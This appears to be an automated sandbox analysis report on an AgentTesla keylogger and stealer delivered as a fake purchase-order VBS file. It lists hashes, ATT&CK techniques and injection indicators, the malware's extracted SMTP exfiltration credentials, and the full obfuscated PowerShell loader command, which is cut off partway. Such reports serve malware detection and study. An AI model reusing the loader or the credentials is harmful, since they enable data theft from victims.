agenttesla | 0cfb6932e490ea78f85fcd57fc9bda95f274867dfd0dbcb3515bb1f7009626b4

General

Target

PO-04375KTG.vbs
Size

313KB
MD5

92cf45fd34496ac41434463f0d02f4a0
SHA1

d5027385be35f4ac68b622aa993b9a568ac16ac4
SHA256

0cfb6932e490ea78f85fcd57fc9bda95f274867dfd0dbcb3515bb1f7009626b4
SHA512

80597f875019d1fc4ff7999de22c355309bc15cde17195ada4bc4be5501240c84a82e8e657446684a8ac4de3b26af5e04121abe6cb98fdcb4f610163fb6f176b
SSDEEP

6144:x+YqqUnWShek49zVzVi+9/Pwy/4qXeV0b6bEWAChB/BpKhp69:50Tl43zViQFeuriB/B2U

Score

10^/10

agenttesla collection keylogger spyware stealer trojan

Malware Config

Extracted

Family

agenttesla

Credentials

Protocol: smtp
Host:
mail.trualliant.com
Port:
587
Username:
[email protected]
Password:
trualliant123
Email To:
[email protected]

Signatures

AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
keylogger trojan stealer spyware agenttesla

Blocklisted process makes network request 1 IoCs

flow	pid	Process
2	1724	WScript.exe

Checks QEMU agent file 2 TTPs 2 IoCs

Checks presence of QEMU agent, possibly to detect virtualization.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	C:\Program Files\Qemu-ga\qemu-ga.exe	powershell.exe
File opened (read-only)	C:\Program Files\Qemu-ga\qemu-ga.exe	caspol.exe

Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	caspol.exe
Key opened	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	caspol.exe
Key opened	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	caspol.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs

pid	Process
1444	caspol.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
1128	powershell.exe
1444	caspol.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 1128 set thread context of 1444	1128	powershell.exe	32

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Modifies system certificate store 2 TTPs 4 IoCs

evasion spyware trojan

Install Root Certificate

T1130

Modify Registry

T1112

description	ioc	Process
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\0563B8630D62D75ABBC8AB1E4BDFB5A899B24D43\Blob = 190000000100000010000000749966cecc95c1874194ca7203f9b6200300000001000000140000000563b8630d62d75abbc8ab1e4bdfb5a899b24d431d00000001000000100000004f5f106930398d09107b40c3c7ca8f1c0b000000010000001200000044006900670069004300650072007400000014000000010000001400000045eba2aff492cb82312d518ba7a7219df36dc80f090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b060105050703080f00000001000000140000006dca5bd00dcf1c0f327059d374b29ca6e3c50aa62000000001000000bb030000308203b73082029fa00302010202100ce7e0e517d846fe8fe560fc1bf03039300d06092a864886f70d01010505003065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100ad0e15cee443805cb187f3b760f97112a5aedc269488aaf4cef520392858600cf880daa9159532613cb5b128848a8adc9f0a0c83177a8f90ac8ae779535c31842af60f98323676ccdedd3ca8a2ef6afb21f25261df9f20d71fe2b1d9fe1864d2125b5ff9581835bc47cda136f96b7fd4b0383ec11bc38c33d9d82f18fe280fb3a783d6c36e44c061359616fe599c8b766dd7f1a24b0d2bff0b72da9e60d08e9035c678558720a1cfe56d0ac8497c3198336c22e987d0325aa2ba138211ed39179d993a72a1e6faa4d9d5173175ae857d22ae3f014686f62879c8b1dae45717c47e1c0eb0b492a656b3bdb297edaaa7f0b7c5a83f9516d0ffa196eb085f18774f0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041445eba2aff492cb82312d518ba7a7219df36dc80f301f0603551d2304183016801445eba2aff492cb82312d518ba7a7219df36dc80f300d06092a864886f70d01010505000382010100a20ebcdfe2edf0e372737a6494bff77266d832e4427562ae87ebf2d5d9de56b39fccce1428b90d97605c124c58e4d33d834945589735691aa847ea56c679ab12d8678184df7f093c94e6b8262c20bd3db32889f75fff22e297841fe965ef87e0dfc16749b35debb2092aeb26ed78be7d3f2bf3b726356d5f8901b6495b9f01059bab3d25c1ccb67fc2f16f86c6fa6468eb812d94eb42b7fa8c1edd62f1be5067b76cbdf3f11f6b0c3607167f377ca95b6d7af112466083d72704be4bce97bec3672a6811df80e70c3366bf130d146ef37f1f63101efa8d1b256d6c8fa5b76101b1d2a326a110719dade2c3f9c39951b72b0708ce2ee650b2a7fa0a452fa2f0f2	WScript.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\0563B8630D62D75ABBC8AB1E4BDFB5A899B24D43\Blob = 04000000010000001000000087ce0b7b2a0e4900e158719b37a893720f00000001000000140000006dca5bd00dcf1c0f327059d374b29ca6e3c50aa6090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b0601050507030814000000010000001400000045eba2aff492cb82312d518ba7a7219df36dc80f0b00000001000000120000004400690067006900430065007200740000001d00000001000000100000004f5f106930398d09107b40c3c7ca8f1c0300000001000000140000000563b8630d62d75abbc8ab1e4bdfb5a899b24d43190000000100000010000000749966cecc95c1874194ca7203f9b6202000000001000000bb030000308203b73082029fa00302010202100ce7e0e517d846fe8fe560fc1bf03039300d06092a864886f70d01010505003065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100ad0e15cee443805cb187f3b760f97112a5aedc269488aaf4cef520392858600cf880daa9159532613cb5b128848a8adc9f0a0c83177a8f90ac8ae779535c31842af60f98323676ccdedd3ca8a2ef6afb21f25261df9f20d71fe2b1d9fe1864d2125b5ff9581835bc47cda136f96b7fd4b0383ec11bc38c33d9d82f18fe280fb3a783d6c36e44c061359616fe599c8b766dd7f1a24b0d2bff0b72da9e60d08e9035c678558720a1cfe56d0ac8497c3198336c22e987d0325aa2ba138211ed39179d993a72a1e6faa4d9d5173175ae857d22ae3f014686f62879c8b1dae45717c47e1c0eb0b492a656b3bdb297edaaa7f0b7c5a83f9516d0ffa196eb085f18774f0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041445eba2aff492cb82312d518ba7a7219df36dc80f301f0603551d2304183016801445eba2aff492cb82312d518ba7a7219df36dc80f300d06092a864886f70d01010505000382010100a20ebcdfe2edf0e372737a6494bff77266d832e4427562ae87ebf2d5d9de56b39fccce1428b90d97605c124c58e4d33d834945589735691aa847ea56c679ab12d8678184df7f093c94e6b8262c20bd3db32889f75fff22e297841fe965ef87e0dfc16749b35debb2092aeb26ed78be7d3f2bf3b726356d5f8901b6495b9f01059bab3d25c1ccb67fc2f16f86c6fa6468eb812d94eb42b7fa8c1edd62f1be5067b76cbdf3f11f6b0c3607167f377ca95b6d7af112466083d72704be4bce97bec3672a6811df80e70c3366bf130d146ef37f1f63101efa8d1b256d6c8fa5b76101b1d2a326a110719dade2c3f9c39951b72b0708ce2ee650b2a7fa0a452fa2f0f2	WScript.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\0563B8630D62D75ABBC8AB1E4BDFB5A899B24D43	WScript.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\0563B8630D62D75ABBC8AB1E4BDFB5A899B24D43\Blob = 0f00000001000000140000006dca5bd00dcf1c0f327059d374b29ca6e3c50aa6090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b0601050507030814000000010000001400000045eba2aff492cb82312d518ba7a7219df36dc80f0b00000001000000120000004400690067006900430065007200740000001d00000001000000100000004f5f106930398d09107b40c3c7ca8f1c0300000001000000140000000563b8630d62d75abbc8ab1e4bdfb5a899b24d432000000001000000bb030000308203b73082029fa00302010202100ce7e0e517d846fe8fe560fc1bf03039300d06092a864886f70d01010505003065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100ad0e15cee443805cb187f3b760f97112a5aedc269488aaf4cef520392858600cf880daa9159532613cb5b128848a8adc9f0a0c83177a8f90ac8ae779535c31842af60f98323676ccdedd3ca8a2ef6afb21f25261df9f20d71fe2b1d9fe1864d2125b5ff9581835bc47cda136f96b7fd4b0383ec11bc38c33d9d82f18fe280fb3a783d6c36e44c061359616fe599c8b766dd7f1a24b0d2bff0b72da9e60d08e9035c678558720a1cfe56d0ac8497c3198336c22e987d0325aa2ba138211ed39179d993a72a1e6faa4d9d5173175ae857d22ae3f014686f62879c8b1dae45717c47e1c0eb0b492a656b3bdb297edaaa7f0b7c5a83f9516d0ffa196eb085f18774f0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041445eba2aff492cb82312d518ba7a7219df36dc80f301f0603551d2304183016801445eba2aff492cb82312d518ba7a7219df36dc80f300d06092a864886f70d01010505000382010100a20ebcdfe2edf0e372737a6494bff77266d832e4427562ae87ebf2d5d9de56b39fccce1428b90d97605c124c58e4d33d834945589735691aa847ea56c679ab12d8678184df7f093c94e6b8262c20bd3db32889f75fff22e297841fe965ef87e0dfc16749b35debb2092aeb26ed78be7d3f2bf3b726356d5f8901b6495b9f01059bab3d25c1ccb67fc2f16f86c6fa6468eb812d94eb42b7fa8c1edd62f1be5067b76cbdf3f11f6b0c3607167f377ca95b6d7af112466083d72704be4bce97bec3672a6811df80e70c3366bf130d146ef37f1f63101efa8d1b256d6c8fa5b76101b1d2a326a110719dade2c3f9c39951b72b0708ce2ee650b2a7fa0a452fa2f0f2	WScript.exe

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
1688	powershell.exe
1128	powershell.exe
1444	caspol.exe
1444	caspol.exe
1444	caspol.exe

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
1128	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	1688	powershell.exe
Token: SeDebugPrivilege	1128	powershell.exe
Token: SeDebugPrivilege	1444	caspol.exe

Suspicious use of WriteProcessMemory 15 IoCs

description	pid	Process	procid_target
PID 1724 wrote to memory of 2004	1724	WScript.exe	27
PID 1724 wrote to memory of 2004	1724	WScript.exe	27
PID 1724 wrote to memory of 2004	1724	WScript.exe	27
PID 1724 wrote to memory of 1688	1724	WScript.exe	29
PID 1724 wrote to memory of 1688	1724	WScript.exe	29
PID 1724 wrote to memory of 1688	1724	WScript.exe	29
PID 1688 wrote to memory of 1128	1688	powershell.exe	31
PID 1688 wrote to memory of 1128	1688	powershell.exe	31
PID 1688 wrote to memory of 1128	1688	powershell.exe	31
PID 1688 wrote to memory of 1128	1688	powershell.exe	31
PID 1128 wrote to memory of 1444	1128	powershell.exe	32
PID 1128 wrote to memory of 1444	1128	powershell.exe	32
PID 1128 wrote to memory of 1444	1128	powershell.exe	32
PID 1128 wrote to memory of 1444	1128	powershell.exe	32
PID 1128 wrote to memory of 1444	1128	powershell.exe	32

outlook_office_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	caspol.exe

outlook_win_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	caspol.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\PO-04375KTG.vbs"
1⤵
- Blocklisted process makes network request
- Modifies system certificate store
- Suspicious use of WriteProcessMemory
PID:1724
- C:\Windows\System32\cmd.exe
  cmd /c echo REG_SZ
  2⤵
  PID:2004
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Debuteres = """FemFBevuOpdnSnucZontWaliKoloOvenPen FolHSfyTradBVes Pyr{Bil Tre Fon Ela TenprecaWelrGrlaGenmUnu(Sla[GesSProtRewrChiiScinElegPro]Ira`$FarLHaroHoraVejtRrfhBarsAlloStrmlyseIcelGeyyCer)Mar;Gif Don Unc Dts Afv`$UnsSvibtCatamisfScooDryrAfldgru Usk=Alk HusNChieRadwLea-BrdOstrbUnijDknePricEnetCut NabbMotyThetFraeSur[Kit]Fli Coe(Den`$FlaLVioodefaHystDishSpesDryoKlamOmseBralResyLab.OzzLDeseJornTilgVeltForhSta Hyp/Lss Str2Mig)Ele;Sub kri Bic web IodFHaroLifrFar(Att`$bagSIndpGuteSpocForidecaSkalAmfaCurnDesvbeseIntnMordAppeDuelAspsUnoeQuenSpasUhe=Tel0Yaw;Afl Pri`$EufSCompTimeDiscGriiuguaLielGiraSkinUndvSkoeClanmildUndeHomlEncsGeleelonAsisPer Uso-LevlAfgtAft Sca`$harLParoDagajaatFlehDavsFiloPdamKareKvalHotyGen.HeiLForeUndnTragEpitReshunp;Dec Ned`$AbjSReiplageMiscAliiPyraCiglProaSagnWhivTaleGrunSqudStaePitlFinsRuseRgenDrissta+Enc=Enc2Sha)Exo{Blk Jom Bih unr Abs Hop Apa Slu Udm`$CamSBretHypaTopfTreoTrorUnvdLud[Met`$CepSsnipraleBodcpreiAnfaAstlDemaTynnSpovexceBainFitdTupeSkvlBrasTekeFemnUansKat/Ski2Sel]Buc for=Reg Imm[RowcSamoIndnUnivChaeFilrKoktSki]Ski:Fri:OveTForoManBAfryscatGibeHyp(Exc`$KonLMedoSviadistProhSepsHypoKlimSkieMonlTilyter.IntSSmeuTakbTigsFlatFjorYdeiFranKargTve(Lnl`$ThySInfpdebeAnucBesiMucaSkolLimaBkknschvMuleDisnSekdGeneSmilNonsAnaeLomnTalsGaa,Til Ryg2Sch)Aut,ski Ste1nea6Sig)Non;Pig kil Fol`$pogSTawtgroaEnzfTomoIllrSytdEne[Slu`$PerSStapkareFracGariStraAntlPeraSpinOvevTipeGarnTeldDefeSellKonsErheBlonEsosNer/Sce2Bes]Fio Mar=den Iso(Jen`$IntSShetForaTomfAmeoArvrGlodLut[Rea`$SofSMorpSpaeFiscIhuiRidaViclAnkaVocnUnivReaeKnsnRugdCaredislJarsGreeOoznTinsAng/Fol2Tmm]Baa ram-TitbStixBrdoklarTap Lat2Amt2Deb)Con;Cod Bus Ret Wat skm}Ant Lac[somSAbsthumrDraiMarnslaglov]Ing[WeeSMoryUndsKaetBdeeFormTim.FleTTiseBogxStetHaa.IleEovenBoocMacosandPrdiSalnSikgBah]tje:Loh:GarARygSAtaCLolIFaaIfun.LanGDomeUnptAppSDactRifrUndiWhenTesgSti(Iht`$NonSkystStraFenfPsaoVosrPladTel)Tri;Top}Mon`$MilFarbuSmynDytkThesEsk0Sko=supHTraTUbeBLiv Sto'Sem4Vap5Pre6ForFAlt6Akk5Rid6Elv2Eyv7Din3Lan7SupBAmm3For8trs7Udp2Tai7EtvASal7TagAUnd'All;Sub`$WavFTjeuHrfnhaykDessWis1Iso=IntHTilTAstBGle Ina'Mis5FinBCat7aagFKlu7Zon5Sub6Hal4Gas7bor9Fau6Pre5bea7Ant9roa7Man0Col6Bes2Fem3Fan8Lan4Laz1Fid7MenFPen7Ani8Tor2bry5Dis2Bal4Bas3Pro8Lev4Dal3For7Spe8Pur6Stt5Gan7Mal7Ska7Pja0Ukr7Kin3Ove5Whi8Sca7Sbr7Nds6Cir2Sym7DisFOut6Pro0Mam7Cud3Jag5FagBSca7Pre3Fus6eft2Asp7SerEAnn7Ste9Her7Upr2Ero6Unt5Ant'For;His`$IndFRapuDognStjkTrusUds2Are=ChrHGasTKlaBUnw For'Kom5Svu1Wap7Baa3Pol6Smr2Kol4Hve6Nsk6Top4Par7Maa9Rer7Pac5Tig5Rec7Stu7Ste2Fir7Ove2Fab6Soc4Plu7Bou3Ind6Sus5Rid6Van5Bar'Fds;Und`$HydFKoouOutnEntkTrisSol3Hin=BivHutiTSynBTon For'For4Rec5Omg6PonFfac6Tra5Add6Nar2Ast7Han3Jor7TelBSur3Tra8bab4Rec4Ser6Vat3Ess7Dia8Sta6Cam2Dar7indFUnf7CosBBom7Skr3Par3Anr8Val5AfvFOmg7Uds8Uds6Bli2Inf7Afs3Sci6Spi4Upl7Inc9Fry6und6Dre4slu5obo7Brs3Mon6Lge4Spi6Ste0Imm7DysFUnd7Ugo5Doy7Res3Ski6Une5Res3Eld8Rdd5CenETrs7Ass7Kod7Man8Yar7Acc2Eks7PerAWoo7Ful3sto4Amn4Cac7Ald3Loz7Doe0Sti'Kel;Bog`$PasFDehuMasnimmkspgsMin4Reg=BioHImpTPluBSan Kbe'Hus6Ung5ova6Pro2Unp6Red4Unp7RecFKoc7Loa8Com7til1Nes'Bok;Spo`$IndFMunuMelnStakLucsCel5Per=NonHVapTMasBMav Mic'Trs5Ind1Lip7Svi3Nov6Phy2Kia5UnsBCir7Bev9Cha7Fog2Kol6Min3Wey7AntABec7fle3For5SmoEStr7Hjl7Hoo7Shr8Fel7Ult2Med7PriAKor7Fli3For'Afs;Bes`$BenFleuuDisnUnckPadsKil6Kon=EnsHGolTUnfBRem Mes'Twi4Bit4Sub4Unb2Tor4trf5Nap6fol6Cos7slv3Imm7Ufo5Sal7PorFPre7Blo7Unw7MegAMil5Mou8Uri7Ont7Inu7EnsBBom7fun3Ben3SeiAPro3Str6Cry5garERef7NonFFot7Mas2Bra7Ung3Rid5Her4Del6BilFAnd4Elf5For7GruFAkk7fru1Pja3SkaAFor3Kon6God4Pro6Dig6Hoo3Ple7Bre4Udk7bagAWho7BedFRub7Cor5Lnn'Kok;Sto`$MicFBlauIgenKirkRegsFil7Uns=PinHSalTAplBSub Bra'Iag4Smi4Ado6Hyp3ily7Srt8Rep6Gen2Peo7HolFOps7SteBTur7Esk3Mis3SkuADer3Emb6Til5sidBUro7Swi7Kno7Fur8Pyo7For7Def7Poo1Add7Dun3Bog7oct2yaj'duo;Ste`$CorFRemuArinForkSocsMah8Orb=KerHEndTUspBTeg Kas'myo4Coa4Kan7Ten3kar7tre0Jan7TidARes7Mul3Che7Ber5byt6fri2Dis7Mil3Afk7Bor2Wid5For2Sta7Gro3Sik7BefAFor7paa3Har7Fug1Hoo7Pry7Inv6Pro2Unc7Arc3Hun'Mar;Pat`$VseFSpouToanSofkDvrsSix9Bar=CauHLnnTWarBTif Kmp'Mat5RegFKri7rid8Non5AdmBKli7Uni3Man7TerBKon7Kry9Cle6Ana4Rap6SniFLet5craBTra7Fil9cel7abd2Det6Fin3uno7NivARek7lud3Ren'Kun;Blr`$BysUUneemerrPrekInseFolnRindPereSkalTasiStogGldtApo0Sny=ShaHIllTSkaBNon Non'Ind5AffBStr6UnaFStv5Sip2Cat7Bil3Luk7fejAnon7Unp3Pre7Amb1Und7Emp7Bom6Kab2Eks7Pow3Fal4Lop2Pla6GraFRac6Psy6Ath7Uds3Ste'Lik;Brn`$EnsUFrgeAgerUnskHypeGirnKnodFljeShilHeriPrigcontAff1Bre=TapHKreTKitBCha Sph'Sem5Col5eng7MosADra7Tab7Hea6Ind5Cim6Pel5Sem3KalAUnd3Pol6Fla4Tri6Ibe6Sup3stv7Han4Cor7GamARad7BepFVid7Pla5Una3ResAPor3Nse6Chl4Apa5Rec7Chr3Sou7sor7gre7cheADem7Mus3Vin7haa2Atm3RoiASha3tag6Mod5Aut7Hyp7Fll8Rso6Nat5Ace7FdrFGem5Kon5Fys7PanAwhe7Qrs7Gui6Pin5Ent6Ank5Kur3OmgARec3Pan6Mil5Ele7Dis6Lin3Rev6Rou2Gru7Daa9nor5Exh5Kur7UndATon7Exh7Ber6Met5Wat6For5Sem'Dep;Fru`$HepUVoleForrSpekHeaeSpknTatdDaleKhalGymiTrigAfrtUns2Pel=KreHSpoTSunBAss Aca'Jas5SviFTri7Jul8ove6Tul0Kol7Hel9Fir7fnoDSau7Out3Dec'bry;Ove`$OpvUSkreTigrGrakFluefrenIncdLigeNewlReaiUnwgMaytFlg3Ban=intHTabTDisBApt Pro'Tam4Mis6Sub6Buf3Sko7Epi4pan7SveATid7AutFUns7Imp5whu3FakAbli3Gut6ryt5FodESmr7FlaFSki7Sel2Ege7Str3Tom5Pos4Cou6CatFSvm4Kry5Pro7IraFokt7Tha1net3GlyASlu3Dub6Par5Syn8Man7Lit3Tus6Old1Usd4afg5Sub7VriATri7Gel9Cop6Ani2Sma3sprAWad3Udl6Csa4Gri0Adl7bumFOrd6Erm4Rek6aph2Byg6Ran3Mid7Tre7Skr7XerAAfr'Alb;Off`$KerUSupeAntrSupkUnmeUdlnVlsdHoweAdilPyjiShegHuatTra4Tid=LreHLatTForBave Dyb'Kra4Tot0Bet7MizFrke6Imp4Lin6Dan2Bdd6Fru3Unp7Sty7Emi7AfpAKol5Rep7For7GreATil7MotAmao7ink9Ski7Rej5Eks'bal;Bur`$subUPvteEnkrAstkLseeIndnCondchlePrilTraiTragKratino5rec=DecHfriTKarBLob Ind'Try7Pup8Cap6An 2Ang7Gra2Und7MilAIno7AftAalo'Kil;Gyr`$DyrUTumeKulrDdskKeneInqnStodArceOddlFraiCregBettVal6Teo=FakHKonTFasBSma Dur'Epi5Sta8sto6kop2Reg4Ess6Bun6fod4dat7For9Jun6Cro2Klk7Ant3Cam7Tro5Woe6Pol2Sla4Ini0Tom7UnpFfje6Udp4Mis6Ess2Bas6Fle3Nod7Cra7Gen7UrbADis5SupBGra7Cru3obf7RegBNon7Tal9Cal6Sve4unn6SidFCul'Unr;Ang`$RelUMareFierUankAareComnLendAlleHanlPlaiUdkgBartSrm7Pol=PenHPreTAnnBImp Non'Pho5UsuFVic5Red3Med4TriEMus'Hyp;Mat`$EnrUCigeGrorPebkPaleMulnHaldReleMillMeniGengTiltSul8Udb=AnfHSpiTbevBAmi Mag'Hek4OliAKot'Leg;terfDejuOrtnMaacTimtCariWatoCurnKon RecfUnrkTimplam Hav{cerPsilaFalrbraaPremFus Uns(Abd`$EksKOtoiUdglNonoUndwLunajantAnctOin,Git Lin`$SamBStoaStrsafkimadlUdticircSuraReitForeLse)Spo Mon hex Can Non Ext;Leo`$SolSafsaBjenProdForsFolyRemnCrelHasiNongAfvgSporForeDisrTea0Sma Sca=KarHUnaTKudBVin Ham'Rek3Dis2Str4Rom3mul6Flu5Fas7StaBFor7KntBFie7Att3Pas7ForAInt7DagFGim7Hus1Ewe7ups3Car3Kul6Ite2PjaBMyr3Col6Uns3PerERul4sohDSti5Lin7Rom6Ane6udy6Van6Uni5Per2Man7ilo9Cog7TroBJix7Jer7Rei7criFNon7Svr8Wan4ArgBLie2CopCWhe2epaCang5Ant5Hjl6Spe3Ove6Nie4Can6Dis4Oak7Ski3Fri7Del8Si 6Ove2Aby5Eul2Dri7Muf9Maa7AfsBBru7Inc7ind7expFStr7Ren8Gae3Mac8Bro5Sub1Naa7Sou3Met6Com2kli5Tid7Han6Bas5Std6Bro5Fis7Kmn3Rdh7OusBDer7Dir4Dof7TacATil7SquFKal7Xen3Int6Med5For3MulEBly3HesFGeo3Ste6Har6OveASol3Bra6Fis4Omg1Ple7EinEUdb7Far3Hau6Paa4Bev7Nem3Alc3AmmBosm5Frs9Spi7Bru4Beg7CouCAbe7avo3Dov7Com5Lan6Uns2Mak3Ser6for6AfsDEdi3Hje6stj3Mar2Mac4Bru9Und3Bef8Med5Spe1Kon7SieALit7Reg9Ent7Thr4Isl7Gra7Rec7asiAVel5Str7Lut6Ved5Ver6Wis5Tor7Sur3Dsl7MonBFli7Bat4Vil7JebAMac6TruFGiv5Rel5Cro7Ube7Fri7Jho5For7SudEFor7Vel3Tha3kon6For3OtoBDau5Reb7Haa7Uno8Rin7pan2Mic3gon6Ars3Gen2Una4Tnk9Nor3Pul8Dkk5SisAMyr7Trs9Tst7udh5Lev7Asc7Opp6Dep2Gla7RoeFRap7sor9kro7Pra8Sys3Anl8ann4Paa5Afs6Bra6Myt7ReaAfar7SysFPri6Chi2Eve3StaERaa3Spi2Par4Aca3Pik7Hie3Res6Mhe4Rem7KnaDNor7Dis3Obs7bel8For7axi2Ber7Pre3Pol7flaAOve7DraFTry7Fin1For6Pos2Civ2FriECod3EksFBev4LovDmer3UdaBIlp2Ess7Kla4KliBTub3Dka8ard5Fur3Hig6des7Viu6Int3Woo7Non7Lif7PulAFir6Opm5Ret3ModEHou3Pla2vot5Hen0Amu6Ant3Mun7unf8Sne7StaDCut6Obs5Sca2Pre6Kry3AutFDag3Pal6Lic6LgmBAll3MusFKva3Syn8Mot5Unf1Okt7Rin3Ope6Unp2Car4mus2Whi6OutFHju6Ove6car7Abu3Tra3FyrENeo3Vot2Str5Uns0Ann6Sec3Udb7Pro8Bes7InqDspo6Fra5rek2Lew7Lan3CacFGri'Bal;Aut&Udp(Zoo`$tupUPtyeMorrUnjkHaleCosnMusdReneLepltheiKnogTrdtDev7Mar)Uds Dow`$GnoSFemaSwanAlmdReisFloyDifnOvelShriAuggatogAntrBatePenrBlt0Wir;Non`$ImpSAntapronAktdWorsCodyfornfrylCymiDengDengkarrReaeFibrStr5Blo Kam=Sni KriHbriTForBZar Udh'Inf3sup2Sli4fal6Scl6Dmo4Gru7Kal3Sta7Rim0Per7Sta9Ops6Udk4Haa7Vse1Ken7BusFBnn6Mrt0Bss7Tor3Hir7Out8mem3Ark6Aab2bylBFor3Bog6Pla3Pik2Rut4Bru3Sup6Kri5Mar7SanBOrk7SkaBLaa7Vas3Pho7PedAsav7UegFMis7Dam1Dia7Par3Bon3Vit8Far5Con1rev7Flj3Par6Pro2Ska5stoBPri7Flk3Occ6Rec2Att7VriESti7Tmm9Kom7Gro2Unn3StjEInt3Dip2Kos5vic0Cel6def3Non7Ill8pre7ForDSem6Nai5Uro2Ran4Tap3TorAKon3Fer6Bru4TraDGyl4Sel2Pat6BorFEra6Unl6Afe7Iod3Lli4MamDPro4MilBsne4ForBnec3Clu6Dis5Han6fer3SjlEObe3The2Art5bar0Sho6Asc3Aer7Tit8Nut7PerDTem6ich5Sym2mod5Doe3AurARel3Tro6Ret3Nou2Sup5Sne0Acq6Inj3Pre7Ang8Aar7RoiDMas6Bag5Rag2Wal2Eth3SimFRud3MetFGau'oms;Ove&Bew(Sip`$OveUChreSpyrKrekBaleTelnBrudFareUnplForiDomgTritart7Dal)Rea Kao`$AdhSInhaFornquadRinsMagyHaanBrolMoniGrigDodgEnnrWefeDesrBla5ren;Til`$ForSAniaAffnSendKrosHaeyOpenHollJugiSafgPlugSubrGaleProrStr1Kwm Sur=Coo KnuHSkrTHypBOpg Non'Bit6Lag4Zyg7tal3Vic6gat2Leg6Ska3Del6Fra4bus7Uds8Svo3Che6tre3Adu2Ret4Mel6Yng6Iso4Kum7Map3Equ7Det0For7Kno9Cen6Let4Cro7Ska1Sen7PapFKla6Yle0Mel7Meg3Foy7Ste8Pen3Uro8Ade5SleFBul7Aca8Ple6Dim0Gym7Bjf9Fou7SarDBeb7Unc3Ric3ShrEKun3Rek2The7Can8Cup6Fum3Asy7ProAMor7uncATro3DrkAMul3Tom6For5Vin6Svm3PriEBrs4KorDRec4bra5Vid6FngFUnd6Gal5Ret6Tym2non7Car3tel7LufBCre3Sup8Taa4Epi4Gin6Mis3Mad7Int8Cem6tel2Nat7KonFBai7kvrBSub7Mal3Ski3bla8Spa5SkyFGdn7Bef8Pla6Ele2Tit7Fis3Ber6Kod4Reo7Hyp9Tal6Squ6Sma4thr5For7san3Zyg6Fos4Kon6Phi0Gal7FedFKir7Rec5bra7Sca3Kid6Gtd5Dis3Gre8Asu5AukEFou7Pre7Sku7Kol8Mun7Man2Cru7NatAFre7Hem3Ten4Fla4Dyr7rad3Joh7Pla0Cit4BagBFar3BurEPol5Pis8Ema7Mut3Pol6Rek1Dis3DriBLid5Bek9Sky7Tig4Eli7KatCSvi7ido3Ecl7Obs5Nut6Bri2Pre3Rev6Com4Dis5Ele6AppFOve6Muc5Jae6Beb